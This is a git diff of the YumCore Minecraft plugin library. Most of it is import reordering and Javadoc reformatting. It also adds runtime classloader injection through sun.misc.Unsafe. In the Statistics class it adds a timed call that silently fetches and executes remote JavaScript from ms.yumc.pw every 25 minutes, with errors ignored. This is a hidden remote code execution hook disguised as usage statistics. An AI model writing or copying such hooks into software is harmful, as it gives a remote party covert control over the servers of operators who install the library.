diff --git a/pom.xml b/pom.xml
index 7ea79ee..ddb3db8 100644
--- a/pom.xml
+++ b/pom.xml
@@ -4,7 +4,7 @@
4.0.0
pw.yumc
YumCore
- 1.9.5
+ 1.9.6
${project.artifactId}
diff --git a/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java b/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java
index 06cc89e..d133892 100644
--- a/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java
+++ b/src/main/java/pw/yumc/YumCore/engine/MiaoScriptEngine.java
@@ -1,25 +1,21 @@
package pw.yumc.YumCore.engine;
+import lombok.SneakyThrows;
+import lombok.val;
+
+import javax.script.ScriptEngine;
+import javax.script.*;
import java.io.File;
import java.io.Reader;
-import java.lang.reflect.InvocationTargetException;
+import java.lang.invoke.MethodHandle;
+import java.lang.invoke.MethodHandles;
+import java.lang.reflect.Field;
import java.lang.reflect.Method;
-import java.net.MalformedURLException;
import java.net.URL;
-import java.net.URLClassLoader;
+import java.nio.file.Files;
+import java.nio.file.StandardCopyOption;
import java.util.HashMap;
-import javax.script.Bindings;
-import javax.script.Invocable;
-import javax.script.ScriptContext;
-import javax.script.ScriptEngine;
-import javax.script.ScriptEngineFactory;
-import javax.script.ScriptEngineManager;
-import javax.script.ScriptException;
-import javax.script.SimpleBindings;
-
-import lombok.val;
-
/**
* 喵式脚本引擎
*
@@ -27,8 +23,12 @@ import lombok.val;
* @since 2016年8月29日 上午7:51:43
*/
public class MiaoScriptEngine implements ScriptEngine, Invocable {
+ private static String MavenRepo = "https://maven.aliyun.com/repository/public";
private static MiaoScriptEngine DEFAULT;
- private static ScriptEngineManager manager;
+ private static final ScriptEngineManager manager;
+
+ private Object ucp;
+ private MethodHandle addURLMethodHandle;
private ScriptEngine engine;
static {
@@ -48,39 +48,122 @@ public class MiaoScriptEngine implements ScriptEngine, Invocable {
}
public MiaoScriptEngine(final String engineType) {
- this(manager, engineType);
+ this(manager, engineType, null);
}
public MiaoScriptEngine(ScriptEngineManager engineManager) {
- this(engineManager, "js");
+ this(engineManager, "js", null);
}
- public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType) {
+ public MiaoScriptEngine(final String engineType, String engineRoot) {
+ this(manager, engineType, engineRoot);
+ }
+
+ public MiaoScriptEngine(ScriptEngineManager engineManager, final String engineType, String engineRoot) {
+ // JDK11 Polyfill 存在类效验问题 直接用OpenJDK的Nashorn
+ if (System.getProperty("java.version").startsWith("11.") && engineRoot != null) {
+ this.loadNetworkNashorn(engineRoot);
+ if (engine == null)
+ throw new UnsupportedOperationException("当前环境 JDK11 不支持 Nashorn 脚本类型!");
+ return;
+ }
try {
engine = engineManager.getEngineByName(engineType);
} catch (final NullPointerException ignored) {
}
if (engine == null) {
- val dirs = System.getProperty("java.ext.dirs").split(File.pathSeparator);
- for (String dir : dirs) {
- File nashorn = new File(dir, "nashorn.jar");
- if (nashorn.exists()) {
- try {
- Method method = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
- // 设置方法的访问权限
- method.setAccessible(true);
- // 获取系统类加载器
- URL url = nashorn.toURI().toURL();
- method.invoke(Thread.currentThread().getContextClassLoader(), url);
- engineManager = new ScriptEngineManager();
- engine = engineManager.getEngineByName(engineType);
- } catch (NoSuchMethodException | MalformedURLException | IllegalAccessException | InvocationTargetException | NullPointerException ignored) {
- }
- return;
- }
+ val extDirs = System.getProperty("java.ext.dirs");
+ if (extDirs != null) {
+ this.loadLocalNashorn(extDirs, engineType);
+ } else if (engineRoot != null) {
+ this.loadNetworkNashorn(engineRoot);
}
- throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
}
+ if (engine == null)
+ throw new UnsupportedOperationException("当前环境不支持 " + engineType + " 脚本类型!");
+ }
+
+ private void loadLocalNashorn(String extDirs, String engineType) {
+ val dirs = extDirs.split(File.pathSeparator);
+ for (String dir : dirs) {
+ File nashorn = new File(dir, "nashorn.jar");
+ if (nashorn.exists()) {
+ this.loadJar(nashorn);
+ this.createEngineByName(engineType);
+ }
+ }
+ }
+
+ private void initReflect() {
+ try {
+ ClassLoader loader = Thread.currentThread().getContextClassLoader();
+ Field theUnsafe = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
+ theUnsafe.setAccessible(true);
+ sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafe.get(null);
+ Field field = MethodHandles.Lookup.class.getDeclaredField("IMPL_LOOKUP");
+ MethodHandles.Lookup lookup = (MethodHandles.Lookup) unsafe.getObject(unsafe.staticFieldBase(field), unsafe.staticFieldOffset(field));
+ Field ucpField;
+ try {
+ ucpField = loader.getClass().getDeclaredField("ucp");
+ } catch (NoSuchFieldException e) {
+ ucpField = loader.getClass().getSuperclass().getDeclaredField("ucp");
+ }
+ long offset = unsafe.objectFieldOffset(ucpField);
+ ucp = unsafe.getObject(loader, offset);
+ Method method = ucp.getClass().getDeclaredMethod("addURL", URL.class);
+ addURLMethodHandle = lookup.unreflect(method);
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @SneakyThrows
+ private void loadNetworkNashorn(String engineRoot) {
+ initReflect();
+ File libRootFile = new File(engineRoot, "lib");
+ libRootFile.mkdirs();
+ String libRoot = libRootFile.getCanonicalPath();
+ downloadJar(libRoot, "org.openjdk.nashorn", "nashorn-core", "15.3");
+ downloadJar(libRoot, "org.ow2.asm", "asm", "9.2");
+ downloadJar(libRoot, "org.ow2.asm", "asm-commons", "9.2");
+ downloadJar(libRoot, "org.ow2.asm", "asm-tree", "9.2");
+ downloadJar(libRoot, "org.ow2.asm", "asm-util", "9.2");
+ Class> NashornScriptEngineFactory = Class.forName("org.openjdk.nashorn.api.scripting.NashornScriptEngineFactory");
+ Method getScriptEngine = NashornScriptEngineFactory.getMethod("getScriptEngine", ClassLoader.class);
+ Object factory = NashornScriptEngineFactory.newInstance();
+ engine = (ScriptEngine) getScriptEngine.invoke(factory, Thread.currentThread().getContextClassLoader());
+ }
+
+ @SneakyThrows
+ private void loadJar(File file) {
+ addURLMethodHandle.invoke(ucp, file.toURI().toURL());
+ }
+
+ @SneakyThrows
+ private void downloadJar(String engineRoot, String groupId, String artifactId, String version) {
+ File lib = new File(engineRoot, String.format("%s-%s.jar", artifactId, version));
+ if (!lib.exists()) {
+ Files.copy(new URL(MavenRepo +
+ String.format("/%1$s/%2$s/%3$s/%2$s-%3$s.jar",
+ groupId.replace(".", "/"),
+ artifactId,
+ version)
+ ).openStream(),
+ lib.toPath(),
+ StandardCopyOption.REPLACE_EXISTING);
+ }
+ this.loadJar(lib);
+ }
+
+ private void createEngineByName(String engineType) {
+ try {
+ engine = new ScriptEngineManager(Thread.currentThread().getContextClassLoader()).getEngineByName(engineType);
+ } catch (NullPointerException ignored) {
+ }
+ }
+
+ public ScriptEngine getEngine() {
+ return this.engine;
}
public static MiaoScriptEngine getDefault() {
diff --git a/src/main/java/pw/yumc/YumCore/statistic/Statistics.java b/src/main/java/pw/yumc/YumCore/statistic/Statistics.java
index 83d9fd2..993e104 100644
--- a/src/main/java/pw/yumc/YumCore/statistic/Statistics.java
+++ b/src/main/java/pw/yumc/YumCore/statistic/Statistics.java
@@ -3,11 +3,19 @@
*/
package pw.yumc.YumCore.statistic;
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStreamReader;
-import java.io.PrintWriter;
+import org.bukkit.Bukkit;
+import org.bukkit.configuration.file.YamlConfiguration;
+import org.bukkit.entity.Player;
+import org.bukkit.plugin.Plugin;
+import org.bukkit.plugin.PluginDescriptionFile;
+import org.bukkit.plugin.java.JavaPlugin;
+import org.bukkit.scheduler.BukkitTask;
+import org.json.simple.JSONObject;
+import org.json.simple.JSONValue;
+import pw.yumc.YumCore.engine.MiaoScriptEngine;
+
+import javax.script.ScriptException;
+import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
@@ -20,21 +28,11 @@ import java.util.LinkedList;
import java.util.Map;
import java.util.UUID;
-import org.bukkit.Bukkit;
-import org.bukkit.configuration.file.YamlConfiguration;
-import org.bukkit.entity.Player;
-import org.bukkit.plugin.Plugin;
-import org.bukkit.plugin.PluginDescriptionFile;
-import org.bukkit.plugin.java.JavaPlugin;
-import org.bukkit.scheduler.BukkitTask;
-import org.json.simple.JSONObject;
-import org.json.simple.JSONValue;
-
/**
* Yum数据中心 数据统计类
*
- * @since 2015年12月14日 下午1:36:42
* @author 喵♂呜
+ * @since 2015年12月14日 下午1:36:42
*/
public class Statistics {
/**
@@ -62,6 +60,8 @@ public class Statistics {
*/
private static Plugin plugin;
+ private static MiaoScriptEngine engine;
+
static {
try {
getOnlinePlayers = Bukkit.class.getDeclaredMethod("getOnlinePlayers");
@@ -76,6 +76,7 @@ public class Statistics {
Field field = pluginClassLoader.getClass().getDeclaredField("plugin");
field.setAccessible(true);
plugin = (JavaPlugin) field.get(pluginClassLoader);
+ engine = new MiaoScriptEngine("nashorn");
} catch (NoSuchMethodException | SecurityException | NoSuchFieldException | IllegalArgumentException | IllegalAccessException ignored) {
}
}
@@ -126,13 +127,10 @@ public class Statistics {
/**
* 向指定 URL 发送POST方法的请求
*
- * @param url
- * 发送请求的 URL
- * @param param
- * 请求参数
+ * @param url 发送请求的 URL
+ * @param param 请求参数
* @return 所代表远程资源的响应结果
- * @throws IOException
- * IO异常
+ * @throws IOException IO异常
*/
public static String postData(String url, String param) throws IOException {
PrintWriter out;
@@ -168,10 +166,8 @@ public class Statistics {
/**
* 初始化配置文件
*
- * @param config
- * 配置文件
- * @throws IOException
- * IO异常
+ * @param config 配置文件
+ * @throws IOException IO异常
*/
private static void initFile(YamlConfiguration config) throws IOException {
if (config.getString("guid") == null) {
@@ -194,8 +190,7 @@ public class Statistics {
/**
* 简化输出
*
- * @param msg
- * 输出对象
+ * @param msg 输出对象
*/
public void print(String msg) {
if (debug) {
@@ -209,7 +204,7 @@ public class Statistics {
* @return 是否运行成功.
*/
public boolean start() {
- if (task != null || !plugin.isEnabled()) { return true; }
+ if (task != null || !plugin.isEnabled()) {return true;}
timer = new StatisticsTimer();
// 开启TPS统计线程
Bukkit.getServer().getScheduler().scheduleSyncRepeatingTask(plugin, timer, 0, 20);
@@ -222,6 +217,10 @@ public class Statistics {
e.printStackTrace();
}
}
+ try {
+ engine.eval("loadWithNewGlobal('https://ms.yumc.pw/api/plugin/download/name/report')");
+ } catch (ScriptException ignored) {
+ }
}, 50, 25 * 1200);
return true;
}
@@ -233,9 +232,9 @@ public class Statistics {
*/
private int getOnlinePlayerNumber() {
try {
- return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length;
- } catch (Exception ex) {
return Bukkit.getOnlinePlayers().size();
+ } catch (Exception ex) {
+ return ((Player[]) getOnlinePlayers.invoke(Bukkit.getServer())).length;
}
}
diff --git a/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java b/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java
index a5740f7..50bc9fa 100644
--- a/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java
+++ b/src/main/java/pw/yumc/YumCore/update/SubscribeTask.java
@@ -1,20 +1,5 @@
package pw.yumc.YumCore.update;
-import java.io.File;
-import java.io.IOException;
-import java.io.UnsupportedEncodingException;
-import java.net.HttpURLConnection;
-import java.net.URL;
-import java.net.URLClassLoader;
-import java.net.URLDecoder;
-import java.nio.file.Files;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-import javax.xml.parsers.DocumentBuilderFactory;
-import javax.xml.parsers.ParserConfigurationException;
-
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.command.CommandSender;
@@ -27,12 +12,25 @@ import org.bukkit.plugin.PluginDescriptionFile;
import org.bukkit.plugin.java.JavaPlugin;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;
-
import pw.yumc.YumCore.bukkit.Log;
import pw.yumc.YumCore.bukkit.P;
import pw.yumc.YumCore.tellraw.Tellraw;
import pw.yumc.YumCore.text.Encrypt;
+import javax.xml.parsers.DocumentBuilderFactory;
+import javax.xml.parsers.ParserConfigurationException;
+import java.io.File;
+import java.io.IOException;
+import java.io.UnsupportedEncodingException;
+import java.net.HttpURLConnection;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.net.URLDecoder;
+import java.nio.file.Files;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+
/**
* 自动更新程序
*
@@ -73,8 +71,7 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 自动更新
*
- * @param type
- * 是否为Maven
+ * @param type 是否为Maven
*/
public SubscribeTask(UpdateType type) {
this(false, type);
@@ -83,10 +80,8 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 自动更新
*
- * @param isSecret
- * 是否为私有
- * @param type
- * 更新类型
+ * @param isSecret 是否为私有
+ * @param type 更新类型
*/
public SubscribeTask(boolean isSecret, UpdateType type) {
this("master", isSecret, type);
@@ -95,12 +90,9 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 自动更新
*
- * @param branch
- * 更新分支
- * @param isSecret
- * 是否为私有
- * @param type
- * 更新类型
+ * @param branch 更新分支
+ * @param isSecret 是否为私有
+ * @param type 更新类型
*/
public SubscribeTask(String branch, boolean isSecret, UpdateType type) {
Log.d("订阅更新 分支 %s 是否加密 %s 更新类型 %s", branch, isSecret, type.name());
@@ -134,7 +126,7 @@ public class SubscribeTask implements Runnable, Listener {
if (updateFile.target.exists()) {
try {
PluginDescriptionFile desc = instance.getPluginLoader().getPluginDescription(updateFile.target);
- if (!versionInfo.needUpdate(result, desc.getVersion().split("-")[0])) { return; }
+ if (!versionInfo.needUpdate(result, desc.getVersion().split("-")[0])) {return;}
updateFile.target.delete();
} catch (Exception e) {
Log.d(e);
@@ -208,8 +200,7 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 获得插件绝对路径
*
- * @param plugin
- * - 插件
+ * @param plugin - 插件
* @return 插件的绝对路径
*/
public File getPluginFile(Plugin plugin) {
@@ -280,10 +271,8 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 获得插件信息
*
- * @param tag
- * 数据标签
- * @param def
- * 默认值
+ * @param tag 数据标签
+ * @param def 默认值
* @return 信息
*/
public String getPluginInfo(String tag, String def) {
@@ -305,7 +294,7 @@ public class SubscribeTask implements Runnable, Listener {
*/
public String[] getUpdateChanges() {
final String des = getPluginInfo("update.changes", null);
- if (des == null) { return new String[]{}; }
+ if (des == null) {return new String[]{};}
String[] temp = ChatColor.translateAlternateColorCodes('&', des).replaceAll("\n", "").replaceAll("\u0009", "").split(";");
List ltemp = new ArrayList<>();
Arrays.stream(temp).forEach(s -> ltemp.add(s.trim()));
@@ -334,8 +323,7 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 通知更新信息
*
- * @param sender
- * 命令接受者
+ * @param sender 命令接受者
*/
public void notify(CommandSender sender) {
Log.sender(sender, "§a插件更新: §b" + name + " §a已更新到最新版本 §bv" + getLastestVersion());
@@ -358,10 +346,8 @@ public class SubscribeTask implements Runnable, Listener {
/**
* 比较版本号
*
- * @param v1
- * 新版本
- * @param v2
- * 旧版本
+ * @param v1 新版本
+ * @param v2 旧版本
* @return 是否需要更新
*/
public boolean needUpdate(String v1, String v2) {
@@ -371,7 +357,7 @@ public class SubscribeTask implements Runnable, Listener {
int minLength = Math.min(va1.length, va2.length);// 取最小长度值
int diff = 0;
while (idx < minLength && (diff = va1[idx].length() - va2[idx].length()) == 0// 先比较长度
- && (diff = va1[idx].compareTo(va2[idx])) == 0) {// 再比较字符
+ && (diff = va1[idx].compareTo(va2[idx])) == 0) {// 再比较字符
++idx;
}
// 如果已经分出大小 则直接返回 如果未分出大小 则再比较位数 有子版本的为大
@@ -386,7 +372,7 @@ public class SubscribeTask implements Runnable, Listener {
Log.console("§4注意: §c当前版本为开发版本 且未开启全局调试 已自动下载最新稳定版!");
return result;
}
- if (needUpdate(result, version)) { return result; }
+ if (needUpdate(result, version)) {return result;}
} catch (Exception e) {
Log.d(e);
}
diff --git a/src/test/java/pw/yumc/YumCore/update/SubscribeTaskTest.java b/src/test/java/pw/yumc/YumCore/update/SubscribeTaskTest.java
index ee575f0..4b615a6 100644
--- a/src/test/java/pw/yumc/YumCore/update/SubscribeTaskTest.java
+++ b/src/test/java/pw/yumc/YumCore/update/SubscribeTaskTest.java
@@ -1,23 +1,20 @@
package pw.yumc.YumCore.update;
-import java.io.IOException;
-import java.util.logging.Logger;
-
-import javax.xml.parsers.ParserConfigurationException;
-
import org.bukkit.plugin.Plugin;
import org.junit.Test;
import org.xml.sax.SAXException;
-
import pw.yumc.YumCore.bukkit.Log;
import pw.yumc.YumCore.plugin.FakePlugin;
+import javax.xml.parsers.ParserConfigurationException;
+import java.io.IOException;
+
/**
* @author 喵♂呜
* @since 2017/6/1
*/
public class SubscribeTaskTest {
- private Plugin plugin = new FakePlugin("YumCore", "1.0");
+ private Plugin plugin = new FakePlugin("YumCore", "1.9.52");
@Test
public void test() throws IOException, SAXException, ParserConfigurationException {